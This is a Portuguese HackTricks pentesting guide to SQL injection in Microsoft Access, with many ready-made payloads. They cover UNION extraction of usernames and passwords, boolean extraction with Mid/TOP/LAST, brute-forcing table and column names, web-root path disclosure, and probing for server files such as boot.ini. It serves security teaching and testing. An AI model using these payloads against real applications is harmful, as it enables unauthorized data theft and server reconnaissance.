hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

181 lines
9.5 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Injeção de SQL no MS Access
2022-08-31 13:22:13 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-08-31 13:22:13 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Playground Online
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
2023-06-06 18:56:34 +00:00
## Limitações do BD
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
### Concatenação de Strings
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2023-06-06 18:56:34 +00:00
### Comentários
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Não há comentários em MS Access, mas aparentemente é possível remover o último caractere de uma consulta com um caractere NULL:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
2023-06-06 18:56:34 +00:00
Se isso não funcionar, você sempre pode corrigir a sintaxe da consulta:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
2023-06-06 18:56:34 +00:00
### Consultas Empilhadas
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Elas não são suportadas.
2022-08-31 13:22:13 +00:00
### LIMIT
2023-06-06 18:56:34 +00:00
O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para as **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
2023-06-06 18:56:34 +00:00
Assim como o TOP, você pode usar o **`LAST`** que irá obter as **linhas do final**.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
## Consultas de União/Subconsultas
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Em uma injeção SQL, você geralmente deseja executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em **subconsultas ou consultas extras seja indicado um `FROM`**.\
Portanto, se você deseja executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
Portanto, você precisa saber um **nome de tabela válido**.
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
2023-06-06 18:56:34 +00:00
### Encadeando equals + Substring
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela.
2022-08-31 13:22:13 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
O **MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção de SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Imagine que você tenha uma injeção de SQL em um banco de dados MS Access e sabe (ou adivinhou) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você pode verificar as diferentes respostas do aplicativo da web quando a técnica de encadeamento de equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
2023-06-06 18:56:34 +00:00
Se você sabe o **nome da tabela** e **coluna** para extrair, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via boolean SQLi:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
2023-06-06 18:56:34 +00:00
_Sinta-se à vontade para testar isso no playground online._
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
### Forçando nomes de tabelas
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
2023-06-06 18:56:34 +00:00
Você também pode usar um método mais tradicional:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
2023-06-06 18:56:34 +00:00
_Sinta-se à vontade para verificar isso no playground online._
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
* Nomes comuns de tabelas do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
### Forçando nomes de colunas
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
2023-06-06 18:56:34 +00:00
Ou com um **group by**:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
2023-06-06 18:56:34 +00:00
Ou você pode fazer brute-force nos nomes das colunas de uma **tabela diferente** com:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
2023-06-06 18:56:34 +00:00
### Extraindo dados
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para extrair dados das tabelas atuais e de outras tabelas**. Mas existem outras maneiras:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
2023-06-06 18:56:34 +00:00
Em resumo, a consulta usa uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O subsequente uso de LAST permite considerar apenas a décima tupla. Nesse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Mudando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
### Baseado em tempo
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
Verifique [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
### Outras funções interessantes
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
* `Mid('admin',1,1)` obter substring da posição 1 com comprimento 1 (a posição inicial é 1)
* `LEN('1234')` obter comprimento da string
* `ASC('A')` obter valor ascii do caractere
* `CHR(65)` obter string do valor ascii
* `IIF(1=1,'a','b')` se então
* `COUNT(*)` Contar número de itens
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
## Enumerando tabelas
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
A partir daqui, você pode ver uma consulta para obter os nomes das tabelas: [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
2023-06-06 18:56:34 +00:00
No entanto, observe que é muito comum encontrar Injeções SQL em que **você não tem acesso para ler a tabela `MSysObjects`**.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
### Acesso ao Sistema de Arquivos
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
#### Caminho Completo do Diretório Raiz da Web
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques posteriores**. Se os erros do aplicativo não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
2023-06-06 18:56:34 +00:00
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
#### Enumeração de Arquivos
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access dispara uma mensagem de erro informando que o formato do banco de dados é inválido:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
2023-06-06 18:56:34 +00:00
Outra maneira de enumerar arquivos consiste em **especificar um item de banco de dados.tabela**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2023-06-06 18:56:34 +00:00
#### Adivinhação do Nome do Arquivo .mdb
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
O **nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
2023-06-06 18:56:34 +00:00
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre dispare uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
#### Quebrador de Senha do Arquivo .mdb
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
2022-08-31 13:22:13 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)